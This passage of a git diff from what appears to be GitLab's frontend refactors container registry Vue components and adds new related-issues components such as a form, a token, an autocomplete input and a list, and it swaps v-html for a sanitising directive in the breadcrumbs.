- <template #append>
- <clipboard-button
- class="border"
- :text="dockerPushCommand"
- :title="$options.i18n.copyPushTitle"
- @click.native="track('click_copy_push')"
- />
- </template>
- </gl-form-input-group>
- </gl-form-group>
- </form>
+ <code-instruction
+ class="mb-0"
+ :label="$options.i18n.PUSH_COMMAND_LABEL"
+ :instruction="dockerPushCommand"
+ :copy-text="$options.i18n.COPY_PUSH_TITLE"
+ tracking-action="click_copy_push"
+ :tracking-label="$options.trackingLabel"
+ />
</li>
</gl-deprecated-dropdown>
</template>
diff --git a/app/assets/javascripts/registry/explorer/components/list_page/image_list.vue b/app/assets/javascripts/registry/explorer/components/list_page/image_list.vue
index 65cf51fd1d1..d1b9894da0e 100644
--- a/app/assets/javascripts/registry/explorer/components/list_page/image_list.vue
+++ b/app/assets/javascripts/registry/explorer/components/list_page/image_list.vue
@@ -38,7 +38,6 @@ export default {
:key="index"
:item="listItem"
:first="index === 0"
- :last="index === images.length - 1"
@delete="$emit('delete', $event)"
/>
diff --git a/app/assets/javascripts/registry/explorer/components/list_page/image_list_row.vue b/app/assets/javascripts/registry/explorer/components/list_page/image_list_row.vue
index 102311c6062..32bf27f1143 100644
--- a/app/assets/javascripts/registry/explorer/components/list_page/image_list_row.vue
+++ b/app/assets/javascripts/registry/explorer/components/list_page/image_list_row.vue
@@ -2,7 +2,7 @@
import { GlTooltipDirective, GlIcon, GlSprintf } from '@gitlab/ui';
import { n__ } from '~/locale';
import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
-import ListItem from '../list_item.vue';
+import ListItem from '~/vue_shared/components/registry/list_item.vue';
import DeleteButton from '../delete_button.vue';
import {
diff --git a/app/assets/javascripts/registry/explorer/components/list_page/registry_header.vue b/app/assets/javascripts/registry/explorer/components/list_page/registry_header.vue
index c7b4fd5f4b4..7be68e77def 100644
--- a/app/assets/javascripts/registry/explorer/components/list_page/registry_header.vue
+++ b/app/assets/javascripts/registry/explorer/components/list_page/registry_header.vue
@@ -1,6 +1,8 @@
<script>
-import { GlSprintf, GlLink, GlIcon } from '@gitlab/ui';
-import { n__ } from '~/locale';
+import { GlSprintf, GlLink } from '@gitlab/ui';
+import TitleArea from '~/vue_shared/components/registry/title_area.vue';
+import MetadataItem from '~/vue_shared/components/registry/metadata_item.vue';
+import { n__, sprintf } from '~/locale';
import { approximateDuration, calculateRemainingMilliseconds } from '~/lib/utils/datetime_utility';
import {
@@ -13,9 +15,10 @@ import {
export default {
components: {
- GlIcon,
GlSprintf,
GlLink,
+ TitleArea,
+ MetadataItem,
},
props: {
expirationPolicy: {
@@ -56,11 +59,12 @@ export default {
},
computed: {
imagesCountText() {
- return n__(
+ const pluralisedString = n__(
'ContainerRegistry|%{count} Image repository',
'ContainerRegistry|%{count} Image repositories',
this.imagesCount,
);
+ return sprintf(pluralisedString, { count: this.imagesCount });
},
timeTillRun() {
const difference = calculateRemainingMilliseconds(this.expirationPolicy?.next_run_at);
@@ -71,7 +75,7 @@ export default {
},
expirationPolicyText() {
return this.expirationPolicyEnabled
- ? EXPIRATION_POLICY_WILL_RUN_IN
+ ? sprintf(EXPIRATION_POLICY_WILL_RUN_IN, { time: this.timeTillRun })
: EXPIRATION_POLICY_DISABLED_TEXT;
},
showExpirationPolicyTip() {
@@ -85,37 +89,29 @@ export default {
<template>
<div>
- <div
- class="gl-display-flex gl-justify-content-space-between gl-align-items-center"
- data-testid="header"
- >
- <h4 data-testid="title">{{ $options.i18n.CONTAINER_REGISTRY_TITLE }}</h4>
- <div class="gl-display-none d-sm-block" data-testid="commands-slot">
+ <title-area :title="$options.i18n.CONTAINER_REGISTRY_TITLE">
+ <template #right-actions>
<slot name="commands"></slot>
- </div>
- </div>
- <div
- v-if="imagesCount"
- class="gl-display-flex gl-align-items-center gl-mt-1 gl-mb-3 gl-text-gray-500"
- data-testid="subheader"
- >
- <span class="gl-mr-3" data-testid="images-count">
- <gl-icon class="gl-mr-1" name="container-image" />
- <gl-sprintf :message="imagesCountText">
- <template #count>
- {{ imagesCount }}
- </template>
- </gl-sprintf>
- </span>
- <span v-if="!hideExpirationPolicyData" data-testid="expiration-policy">
- <gl-icon class="gl-mr-1" name="expire" />
- <gl-sprintf :message="expirationPolicyText">
- <template #time>
- {{ timeTillRun }}
- </template>
- </gl-sprintf>
- </span>
- </div>
+ </template>
+ <template #metadata_count>
+ <metadata-item
+ v-if="imagesCount"
+ data-testid="images-count"
+ icon="container-image"
+ :text="imagesCountText"
+ />
+ </template>
+ <template #metadata_exp_policies>
+ <metadata-item
+ v-if="!hideExpirationPolicyData"
+ data-testid="expiration-policy"
+ icon="expire"
+ :text="expirationPolicyText"
+ size="xl"
+ />
+ </template>
+ </title-area>
+
<div data-testid="info-area">
<p>
<span data-testid="default-intro">
diff --git a/app/assets/javascripts/registry/explorer/components/registry_breadcrumb.vue b/app/assets/javascripts/registry/explorer/components/registry_breadcrumb.vue
index d935ca091a1..146d1434b18 100644
--- a/app/assets/javascripts/registry/explorer/components/registry_breadcrumb.vue
+++ b/app/assets/javascripts/registry/explorer/components/registry_breadcrumb.vue
@@ -1,7 +1,9 @@
<script>
import { initial, first, last } from 'lodash';
+import { GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
export default {
+ directives: { SafeHtml },
props: {
crumbs: {
type: Array,
@@ -41,14 +43,14 @@ export default {
<li
v-for="(crumb, index) in rootCrumbs"
:key="index"
+ v-safe-html="crumb.innerHTML"
:class="crumb.className"
- v-html="crumb.innerHTML"
></li>
<li v-if="!isRootRoute">
<router-link ref="rootRouteLink" :to="rootRoute.path">
{{ rootRoute.meta.nameGenerator(rootRoute) }}
</router-link>
- <component :is="divider.tagName" :class="divider.classList" v-html="divider.innerHTML" />
+ <component :is="divider.tagName" v-safe-html="divider.innerHTML" :class="divider.classList" />
</li>
<li>
<component :is="lastCrumb.tagName" ref="lastCrumb" :class="lastCrumb.className">
diff --git a/app/assets/javascripts/registry/explorer/stores/index.js b/app/assets/javascripts/registry/explorer/stores/index.js
index 54a8e0e1c1c..18e3351ed13 100644
--- a/app/assets/javascripts/registry/explorer/stores/index.js
+++ b/app/assets/javascripts/registry/explorer/stores/index.js
@@ -7,7 +7,6 @@ import state from './state';
Vue.use(Vuex);
-// eslint-disable-next-line import/prefer-default-export
export const createStore = () =>
new Vuex.Store({
state,
diff --git a/app/assets/javascripts/registry/explorer/utils.js b/app/assets/javascripts/registry/explorer/utils.js
index b1df87c6993..44262a6cbb6 100644
--- a/app/assets/javascripts/registry/explorer/utils.js
+++ b/app/assets/javascripts/registry/explorer/utils.js
@@ -1,2 +1 @@
-// eslint-disable-next-line import/prefer-default-export
export const decodeAndParse = param => JSON.parse(window.atob(param));
diff --git a/app/assets/javascripts/registry/settings/components/settings_form.vue b/app/assets/javascripts/registry/settings/components/settings_form.vue
index f129922c1d2..7a26fb5cbee 100644
--- a/app/assets/javascripts/registry/settings/components/settings_form.vue
+++ b/app/assets/javascripts/registry/settings/components/settings_form.vue
@@ -1,7 +1,7 @@
<script>
import { get } from 'lodash';
import { mapActions, mapState, mapGetters } from 'vuex';
-import { GlCard, GlDeprecatedButton, GlLoadingIcon } from '@gitlab/ui';
+import { GlCard, GlButton, GlLoadingIcon } from '@gitlab/ui';
import Tracking from '~/tracking';
import { mapComputed } from '~/vuex_shared/bindings';
import {
@@ -14,7 +14,7 @@ import { SET_CLEANUP_POLICY_BUTTON, CLEANUP_POLICY_CARD_HEADER } from '../consta
export default {
components: {
GlCard,
- GlDeprecatedButton,
+ GlButton,
GlLoadingIcon,
ExpirationPolicyFields,
},
@@ -104,24 +104,25 @@ export default {
</template>
<template #footer>
<div class="gl-display-flex gl-justify-content-end">
- <gl-deprecated-button
+ <gl-button
ref="cancel-button"
type="reset"
class="gl-mr-3 gl-display-block"
:disabled="isCancelButtonDisabled"
>
{{ __('Cancel') }}
- </gl-deprecated-button>
- <gl-deprecated-button
+ </gl-button>
+ <gl-button
ref="save-button"
type="submit"
:disabled="isSubmitButtonDisabled"
variant="success"
+ category="primary"
class="gl-display-flex gl-justify-content-center gl-align-items-center js-no-auto-disable"
>
{{ $options.i18n.SET_CLEANUP_POLICY_BUTTON }}
<gl-loading-icon v-if="isLoading" class="gl-ml-3" />
- </gl-deprecated-button>
+ </gl-button>
</div>
</template>
</gl-card>
diff --git a/app/assets/javascripts/related_issues/components/add_issuable_form.vue b/app/assets/javascripts/related_issues/components/add_issuable_form.vue
new file mode 100644
index 00000000000..63d61989cba
--- /dev/null
+++ b/app/assets/javascripts/related_issues/components/add_issuable_form.vue
@@ -0,0 +1,207 @@
+<script>
+import { GlFormGroup, GlFormRadioGroup, GlButton } from '@gitlab/ui';
+import { __ } from '~/locale';
+import RelatedIssuableInput from './related_issuable_input.vue';
+import { mergeUrlParams } from '~/lib/utils/url_utility';
+
+import {
+ issuableTypesMap,
+ itemAddFailureTypesMap,
+ linkedIssueTypesMap,
+ addRelatedIssueErrorMap,
+ addRelatedItemErrorMap,
+} from '../constants';
+
+export default {
+ name: 'AddIssuableForm',
+ components: {
+ GlFormGroup,
+ GlFormRadioGroup,
+ RelatedIssuableInput,
+ GlButton,
+ },
+ props: {
+ inputValue: {
+ type: String,
+ required: true,
+ },
+ pendingReferences: {
+ type: Array,
+ required: false,
+ default: () => [],
+ },
+ autoCompleteSources: {
+ type: Object,
+ required: false,
+ default: () => ({}),
+ },
+ showCategorizedIssues: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ isSubmitting: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ pathIdSeparator: {
+ type: String,
+ required: true,
+ },
+ issuableType: {
+ type: String,
+ required: false,
+ default: issuableTypesMap.ISSUE,
+ },
+ hasError: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ itemAddFailureType: {
+ type: String,
+ required: false,
+ default: itemAddFailureTypesMap.NOT_FOUND,
+ },
+ itemAddFailureMessage: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ confidential: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ data() {
+ return {
+ linkedIssueType: linkedIssueTypesMap.RELATES_TO,
+ linkedIssueTypes: [
+ {
+ text: __('relates to'),
+ value: linkedIssueTypesMap.RELATES_TO,
+ },
+ {
+ text: __('blocks'),
+ value: linkedIssueTypesMap.BLOCKS,
+ },
+ {
+ text: __('is blocked by'),
+ value: linkedIssueTypesMap.IS_BLOCKED_BY,
+ },
+ ],
+ };
+ },
+ computed: {
+ isSubmitButtonDisabled() {
+ return (
+ (this.inputValue.length === 0 && this.pendingReferences.length === 0) || this.isSubmitting
+ );
+ },
+ addRelatedErrorMessage() {
+ if (this.itemAddFailureMessage) {
+ return this.itemAddFailureMessage;
+ } else if (this.itemAddFailureType === itemAddFailureTypesMap.NOT_FOUND) {
+ return addRelatedIssueErrorMap[this.issuableType];
+ }
+ // Only other failure is MAX_NUMBER_OF_CHILD_EPICS at the moment
+ return addRelatedItemErrorMap[this.itemAddFailureType];
+ },
+ transformedAutocompleteSources() {
+ if (!this.confidential) {
+ return this.autoCompleteSources;
+ }
+
+ if (!this.autoCompleteSources?.issues || !this.autoCompleteSources?.epics) {
+ return this.autoCompleteSources;
+ }
+
+ return {
+ ...this.autoCompleteSources,
+ issues: mergeUrlParams({ confidential_only: true }, this.autoCompleteSources.issues),
+ epics: mergeUrlParams({ confidential_only: true }, this.autoCompleteSources.epics),
+ };
+ },
+ },
+ methods: {
+ onPendingIssuableRemoveRequest(params) {
+ this.$emit('pendingIssuableRemoveRequest', params);
+ },
+ onFormSubmit() {
+ this.$emit('addIssuableFormSubmit', {
+ pendingReferences: this.$refs.relatedIssuableInput.$refs.input.value,
+ linkedIssueType: this.linkedIssueType,
+ });
+ },
+ onFormCancel() {
+ this.$emit('addIssuableFormCancel');
+ },
+ onAddIssuableFormInput(params) {
+ this.$emit('addIssuableFormInput', params);
+ },
+ onAddIssuableFormBlur(params) {
+ this.$emit('addIssuableFormBlur', params);
+ },
+ },
+};
+</script>
+
+<template>
+ <form @submit.prevent="onFormSubmit">
+ <template v-if="showCategorizedIssues">
+ <gl-form-group
+ :label="__('The current issue')"
+ label-for="linked-issue-type-radio"
+ label-class="label-bold"
+ class="mb-2"
+ >
+ <gl-form-radio-group
+ id="linked-issue-type-radio"
+ v-model="linkedIssueType"
+ :options="linkedIssueTypes"
+ :checked="linkedIssueType"
+ />
+ </gl-form-group>
+ <p class="bold">
+ {{ __('the following issue(s)') }}
+ </p>
+ </template>
+ <related-issuable-input
+ ref="relatedIssuableInput"
+ input-id="add-related-issues-form-input"
+ :confidential="confidential"
+ :focus-on-mount="true"
+ :references="pendingReferences"
+ :path-id-separator="pathIdSeparator"
+ :input-value="inputValue"
+ :auto-complete-sources="transformedAutocompleteSources"
+ :auto-complete-options="{ issues: true, epics: true }"
+ :issuable-type="issuableType"
+ @pendingIssuableRemoveRequest="onPendingIssuableRemoveRequest"
+ @formCancel="onFormCancel"
+ @addIssuableFormBlur="onAddIssuableFormBlur"
+ @addIssuableFormInput="onAddIssuableFormInput"
+ />
+ <p v-if="hasError" class="gl-field-error">
+ {{ addRelatedErrorMessage }}
+ </p>
+ <div class="add-issuable-form-actions clearfix">
+ <gl-button
+ ref="addButton"
+ category="primary"
+ variant="success"
+ :disabled="isSubmitButtonDisabled"
+ :loading="isSubmitting"
+ type="submit"
+ class="js-add-issuable-form-add-button float-left qa-add-issue-button"
+ >
+ {{ __('Add') }}
+ </gl-button>
+ <gl-button class="float-right" @click="onFormCancel">
+ {{ __('Cancel') }}
+ </gl-button>
+ </div>
+ </form>
+</template>
diff --git a/app/assets/javascripts/related_issues/components/issue_token.vue b/app/assets/javascripts/related_issues/components/issue_token.vue
new file mode 100644
index 00000000000..31d0c7dbbb0
--- /dev/null
+++ b/app/assets/javascripts/related_issues/components/issue_token.vue
@@ -0,0 +1,115 @@
+<script>
+import { GlIcon } from '@gitlab/ui';
+import { __, sprintf } from '~/locale';
+import relatedIssuableMixin from '~/vue_shared/mixins/related_issuable_mixin';
+
+export default {
+ name: 'IssueToken',
+ components: {
+ GlIcon,
+ },
+ mixins: [relatedIssuableMixin],
+ props: {
+ isCondensed: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ computed: {
+ removeButtonLabel() {
+ const { displayReference } = this;
+ /*
+ * Giving false as third argument to prevent unescaping of ampersand in
+ * epic reference. Eg. &42 will remain &42 instead of &amp;42
+ *
+ * https://docs.gitlab.com/ee/development/i18n/externalization.html#interpolation
+ */
+ return sprintf(__('Remove %{displayReference}'), { displayReference }, false);
+ },
+ stateTitle() {
+ if (this.isCondensed) return '';
+
+ return this.isOpen ? __('Open') : __('Closed');
+ },
+ innerComponentType() {
+ return this.isCondensed ? 'span' : 'div';
+ },
+ issueTitle() {
+ return this.isCondensed ? this.title : '';
+ },
+ },
+};
+</script>
+
+<template>
+ <div
+ :class="{
+ 'issue-token': isCondensed,
+ 'flex-row issuable-info-container': !isCondensed,
+ }"
+ >
+ <component
+ :is="computedLinkElementType"
+ ref="link"
+ v-tooltip
+ :class="{
+ 'issue-token-link': isCondensed,
+ 'issuable-main-info': !isCondensed,
+ }"
+ :href="computedPath"
+ :title="issueTitle"
+ data-placement="top"
+ >
+ <component
+ :is="innerComponentType"
+ v-if="hasTitle"
+ ref="title"
+ :class="{
+ 'issue-token-title issue-token-end': isCondensed,
+ 'issue-title block-truncated': !isCondensed,
+ 'issue-token-title-standalone': !canRemove,
+ }"
+ class="js-issue-token-title"
+ >
+ <span class="issue-token-title-text">{{ title }}</span>
+ </component>
+ <component
+ :is="innerComponentType"
+ ref="reference"
+ :class="{
+ 'issue-token-reference': isCondensed,
+ 'issuable-info': !isCondensed,
+ }"
+ >
+ <gl-icon
+ v-if="hasState"
+ v-tooltip
+ :class="iconClass"
+ :name="iconName"
+ :size="12"
+ :title="stateTitle"
+ :aria-label="state"
+ />
+ {{ displayReference }}
+ </component>
+ </component>
+ <button
+ v-if="canRemove"
+ ref="removeButton"
+ v-tooltip
+ :class="{
+ 'issue-token-remove-button': isCondensed,
+ 'btn btn-default': !isCondensed,
+ }"
+ :title="removeButtonLabel"
+ :aria-label="removeButtonLabel"
+ :disabled="removeDisabled"
+ type="button"
+ class="js-issue-token-remove-button"
+ @click="onRemoveRequest"
+ >
+ <gl-icon name="close" aria-hidden="true" />
+ </button>
+ </div>
+</template>
diff --git a/app/assets/javascripts/related_issues/components/related_issuable_input.vue b/app/assets/javascripts/related_issues/components/related_issuable_input.vue
new file mode 100644
index 00000000000..1931cfb2c00
--- /dev/null
+++ b/app/assets/javascripts/related_issues/components/related_issuable_input.vue
@@ -0,0 +1,231 @@
+<script>
+import $ from 'jquery';
+import GfmAutoComplete from 'ee_else_ce/gfm_auto_complete';
+import issueToken from './issue_token.vue';
+import {
+ autoCompleteTextMap,
+ inputPlaceholderConfidentialTextMap,
+ inputPlaceholderTextMap,
+ issuableTypesMap,
+} from '../constants';
+
+const SPACE_FACTOR = 1;
+
+export default {
+ name: 'RelatedIssuableInput',
+ components: {
+ issueToken,
+ },
+ props: {
+ inputId: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ references: {
+ type: Array,
+ required: false,
+ default: () => [],
+ },
+ pathIdSeparator: {
+ type: String,
+ required: true,
+ },
+ inputValue: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ focusOnMount: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ autoCompleteSources: {
+ type: Object,
+ required: false,
+ default: () => ({}),
+ },
+ autoCompleteOptions: {
+ type: Object,
+ required: false,
+ default: () => ({}),
+ },
+ issuableType: {
+ type: String,
+ required: false,
+ default: issuableTypesMap.ISSUE,
+ },
+ confidential: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ data() {
+ return {
+ isInputFocused: false,
+ isAutoCompleteOpen: false,
+ areEventsAssigned: false,
+ };
+ },
+ computed: {
+ inputPlaceholder() {
+ const { issuableType, allowAutoComplete, confidential } = this;
+ const inputPlaceholderMapping = confidential
+ ? inputPlaceholderConfidentialTextMap
+ : inputPlaceholderTextMap;
+ const allowAutoCompleteText = autoCompleteTextMap[allowAutoComplete][issuableType];
+ return `${inputPlaceholderMapping[issuableType]}${allowAutoCompleteText}`;
+ },
+ allowAutoComplete() {
+ return Object.keys(this.autoCompleteSources).length > 0;
+ },
+ },
+ mounted() {
+ this.setupAutoComplete();
+ if (this.focusOnMount) {
+ this.$nextTick()
+ .then(() => {
+ this.$refs.input.focus();
+ })
+ .catch(() => {});
+ }
+ },
+ beforeUpdate() {
+ this.setupAutoComplete();
+ },
+ beforeDestroy() {
+ const $input = $(this.$refs.input);
+ $input.off('shown-issues.atwho');
+ $input.off('hidden-issues.atwho');
+ $input.off('inserted-issues.atwho', this.onInput);
+ },
+ methods: {
+ onAutoCompleteToggled(isOpen) {
+ this.isAutoCompleteOpen = isOpen;
+ },
+ onInputWrapperClick() {
+ this.$refs.input.focus();
+ },
+ onInput() {
+ const { value } = this.$refs.input;
+ const caretPos = this.$refs.input.selectionStart;
+ const rawRefs = value.split(/\s/);
+ let touchedReference;
+ let position = 0;
+
+ const untouchedRawRefs = rawRefs
+ .filter(ref => {
+ let isTouched = false;
+
+ if (caretPos >= position && caretPos <= position + ref.length) {
+ touchedReference = ref;
+ isTouched = true;
+ }
+
+ position = position + ref.length + SPACE_FACTOR;
+
+ return !isTouched;
+ })
+ .filter(ref => ref.trim().length > 0);
+
+ this.$emit('addIssuableFormInput', {
+ newValue: value,
+ untouchedRawReferences: untouchedRawRefs,
+ touchedReference,
+ caretPos,
+ });
+ },
+ onBlur(event) {
+ // Early exit if this Blur event is caused by card header
+ const container = this.$root.$el.querySelector('.js-button-container');
+ if (container && container.contains(event.relatedTarget)) {
+ return;
+ }
+
+ this.isInputFocused = false;
+
+ // Avoid tokenizing partial input when clicking an autocomplete item
+ if (!this.isAutoCompleteOpen) {
+ const { value } = this.$refs.input;
+ // Avoid event emission when only pathIdSeparator has been typed
+ if (value !== this.pathIdSeparator) {
+ this.$emit('addIssuableFormBlur', value);
+ }
+ }
+ },
+ onFocus() {
+ this.isInputFocused = true;
+ },
+ setupAutoComplete() {
+ const $input = $(this.$refs.input);
+
+ if (this.allowAutoComplete) {
+ this.gfmAutoComplete = new GfmAutoComplete(this.autoCompleteSources);
+ this.gfmAutoComplete.setup($input, this.autoCompleteOptions);
+ }
+
+ if (!this.areEventsAssigned) {
+ $input.on('shown-issues.atwho', this.onAutoCompleteToggled.bind(this, true));
+ $input.on('hidden-issues.atwho', this.onAutoCompleteToggled.bind(this, true));
+ }
+ this.areEventsAssigned = true;
+ },
+ onIssuableFormWrapperClick() {
+ this.$refs.input.focus();
+ },
+ },
+};
+</script>
+
+<template>
+ <div
+ ref="issuableFormWrapper"
+ :class="{ focus: isInputFocused }"
+ class="add-issuable-form-input-wrapper form-control gl-field-error-outline"
+ role="button"
+ @click="onIssuableFormWrapperClick"
+ >
+ <ul class="add-issuable-form-input-token-list">
+ <!--
+ We need to ensure this key changes any time the pendingReferences array is updated
+ else two consecutive pending ref strings in an array with the same name will collide
+ and cause odd behavior when one is removed.
+ -->
+ <li
+ v-for="(reference, index) in references"
+ :key="`related-issues-token-${reference}`"
+ class="js-add-issuable-form-token-list-item add-issuable-form-token-list-item"
+ >
+ <issue-token
+ :id-key="index"
+ :display-reference="reference.text || reference"
+ :can-remove="true"
+ :is-condensed="true"
+ :path-id-separator="pathIdSeparator"
+ event-namespace="pendingIssuable"
+ @pendingIssuableRemoveRequest="
+ params => {
+ $emit('pendingIssuableRemoveRequest', params);
+ }
+ "
+ />
+ </li>
+ <li class="add-issuable-form-input-list-item">
+ <input
+ :id="inputId"
+ ref="input"
+ :value="inputValue"
+ :placeholder="inputPlaceholder"
+ type="text"
+ class="js-add-issuable-form-input add-issuable-form-input qa-add-issue-input"
+ @input="onInput"
+ @focus="onFocus"
+ @blur="onBlur"
+ @keyup.escape.exact="$emit('addIssuableFormCancel')"
+ />
+ </li>
+ </ul>
+ </div>
+</template>
diff --git a/app/assets/javascripts/related_issues/components/related_issues_block.vue b/app/assets/javascripts/related_issues/components/related_issues_block.vue
new file mode 100644
index 00000000000..f7a79c62716
--- /dev/null
+++ b/app/assets/javascripts/related_issues/components/related_issues_block.vue
@@ -0,0 +1,215 @@
+<script>
+import { GlLink, GlIcon, GlButton } from '@gitlab/ui';
+import AddIssuableForm from './add_issuable_form.vue';
+import RelatedIssuesList from './related_issues_list.vue';
+import {
+ issuableIconMap,
+ issuableQaClassMap,
+ linkedIssueTypesMap,
+ linkedIssueTypesTextMap,
+} from '../constants';
+
+export default {
+ name: 'RelatedIssuesBlock',
+ components: {
+ GlLink,
+ GlButton,
+ GlIcon,
+ AddIssuableForm,
+ RelatedIssuesList,
+ },
+ props: {
+ isFetching: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ isSubmitting: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ relatedIssues: {
+ type: Array,
+ required: false,
+ default: () => [],
+ },
+ canAdmin: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ canReorder: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ isFormVisible: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ pendingReferences: {
+ type: Array,
+ required: false,
+ default: () => [],
+ },
+ inputValue: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ pathIdSeparator: {
+ type: String,
+ required: true,
+ },
+ helpPath: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ autoCompleteSources: {
+ type: Object,
+ required: false,
+ default: () => ({}),
+ },
+ issuableType: {
+ type: String,
+ required: true,
+ },
+ showCategorizedIssues: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
+ },
+ computed: {
+ hasRelatedIssues() {
+ return this.relatedIssues.length > 0;
+ },
+ categorisedIssues() {
+ if (this.showCategorizedIssues) {
+ return Object.values(linkedIssueTypesMap)
+ .map(linkType => ({
+ linkType,
+ issues: this.relatedIssues.filter(issue => issue.linkType === linkType),
+ }))
+ .filter(obj => obj.issues.length > 0);
+ }
+
+ return [{ issues: this.relatedIssues }];
+ },
+ shouldShowTokenBody() {
+ return this.hasRelatedIssues || this.isFetching;
+ },
+ hasBody() {
+ return this.isFormVisible || this.shouldShowTokenBody;
+ },
+ badgeLabel() {
+ return this.isFetching && this.relatedIssues.length === 0 ? '...' : this.relatedIssues.length;
+ },
+ hasHelpPath() {
+ return this.helpPath.length > 0;
+ },
+ issuableTypeIcon() {
+ return issuableIconMap[this.issuableType];
+ },
+ qaClass() {
+ return issuableQaClassMap[this.issuableType];
+ },
+ },
+ linkedIssueTypesTextMap,
+};
+</script>
+
+<template>
+ <div id="related-issues" class="related-issues-block">
+ <div class="card card-slim gl-overflow-hidden">
+ <div
+ :class="{ 'panel-empty-heading border-bottom-0': !hasBody }"
+ class="card-header gl-display-flex gl-justify-content-space-between"
+ >
+ <h3
+ class="card-title h5 position-relative gl-my-0 gl-display-flex gl-align-items-center gl-h-7"
+ >
+ <gl-link
+ id="user-content-related-issues"
+ class="anchor position-absolute gl-text-decoration-none"
+ href="#related-issues"
+ aria-hidden="true"
+ />
+ <slot name="headerText">{{ __('Linked issues') }}</slot>
+ <gl-link
+ v-if="hasHelpPath"
+ :href="helpPath"
+ target="_blank"
+ class="gl-display-flex gl-align-items-center gl-ml-2 gl-text-gray-500"
+ :aria-label="__('Read more about related issues')"
+ >
+ <gl-icon name="question" :size="12" role="text" />
+ </gl-link>
+
+ <div class="gl-display-inline-flex">
+ <div class="js-related-issues-header-issue-count gl-display-inline-flex gl-mx-5">
+ <span class="gl-display-inline-flex gl-align-items-center">
+ <gl-icon :name="issuableTypeIcon" class="gl-mr-2 gl-text-gray-500" />
+ {{ badgeLabel }}
+ </span>
+ </div>
+ <gl-button
+ v-if="canAdmin"
+ data-qa-selector="related_issues_plus_button"
+ icon="plus"
+ :aria-label="__('Add a related issue')"
+ :class="qaClass"
+ class="js-issue-count-badge-add-button"
+ @click="$emit('toggleAddRelatedIssuesForm', $event)"
+ />
+ </div>
+ </h3>
+ <slot name="headerActions"></slot>
+ </div>
+ <div
+ class="linked-issues-card-body bg-gray-light"
+ :class="{
+ 'gl-p-5': isFormVisible || shouldShowTokenBody,
+ }"
+ >
+ <div
+ v-if="isFormVisible"
+ class="js-add-related-issues-form-area card-body bordered-box bg-white"
+ >
+ <add-issuable-form
+ :show-categorized-issues="showCategorizedIssues"
+ :is-submitting="isSubmitting"
+ :issuable-type="issuableType"
+ :input-value="inputValue"
+ :pending-references="pendingReferences"
+ :auto-complete-sources="autoCompleteSources"
+ :path-id-separator="pathIdSeparator"
+ @pendingIssuableRemoveRequest="$emit('pendingIssuableRemoveRequest', $event)"
+ @addIssuableFormInput="$emit('addIssuableFormInput', $event)"
+ @addIssuableFormBlur="$emit('addIssuableFormBlur', $event)"
+ @addIssuableFormSubmit="$emit('addIssuableFormSubmit', $event)"
+ @addIssuableFormCancel="$emit('addIssuableFormCancel', $event)"
+ />
+ </div>
+ <template v-if="shouldShowTokenBody">
+ <related-issues-list
+ v-for="category in categorisedIssues"
+ :key="category.linkType"
+ :heading="$options.linkedIssueTypesTextMap[category.linkType]"
+ :can-admin="canAdmin"
+ :can-reorder="canReorder"
+ :is-fetching="isFetching"
+ :issuable-type="issuableType"
+ :path-id-separator="pathIdSeparator"
+ :related-issues="category.issues"
+ @relatedIssueRemoveRequest="$emit('relatedIssueRemoveRequest', $event)"
+ @saveReorder="$emit('saveReorder', $event)"
+ />
+ </template>
+ </div>
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/related_issues/components/related_issues_list.vue b/app/assets/javascripts/related_issues/components/related_issues_list.vue
new file mode 100644
index 00000000000..a75fe4397bb
--- /dev/null
+++ b/app/assets/javascripts/related_issues/components/related_issues_list.vue
@@ -0,0 +1,146 @@
+<script>
+import { GlLoadingIcon } from '@gitlab/ui';
+import Sortable from 'sortablejs';
+import sortableConfig from 'ee_else_ce/sortable/sortable_config';
+import RelatedIssuableItem from '~/vue_shared/components/issue/related_issuable_item.vue';
+import tooltip from '~/vue_shared/directives/tooltip';
+
+export default {
+ name: 'RelatedIssuesList',
+ directives: {
+ tooltip,
+ },
+ components: {
+ GlLoadingIcon,
+ RelatedIssuableItem,
+ },
+ props: {
+ canAdmin: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ canReorder: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ heading: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ isFetching: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ issuableType: {
+ type: String,
+ required: true,
+ },
+ pathIdSeparator: {
+ type: String,
+ required: true,
+ },
+ relatedIssues: {
+ type: Array,
+ required: false,
+ default: () => [],
+ },
+ },
+ mounted() {
+ if (this.canReorder) {
+ this.sortable = Sortable.create(this.$refs.list, {
+ ...sortableConfig,
+ onStart: this.addDraggingCursor,
+ onEnd: this.reordered,
+ });
+ }
+ },
+ methods: {
+ getBeforeAfterId(itemEl) {
+ const prevItemEl = itemEl.previousElementSibling;
+ const nextItemEl = itemEl.nextElementSibling;
+
+ return {
+ beforeId: prevItemEl && parseInt(prevItemEl.dataset.orderingId, 0),
+ afterId: nextItemEl && parseInt(nextItemEl.dataset.orderingId, 0),
+ };
+ },
+ reordered(event) {
+ this.removeDraggingCursor();
+ const { beforeId, afterId } = this.getBeforeAfterId(event.item);
+ const { oldIndex, newIndex } = event;
+
+ this.$emit('saveReorder', {
+ issueId: parseInt(event.item.dataset.key, 10),
+ oldIndex,
+ newIndex,
+ afterId,
+ beforeId,
+ });
+ },
+ addDraggingCursor() {
+ document.body.classList.add('is-dragging');
+ },
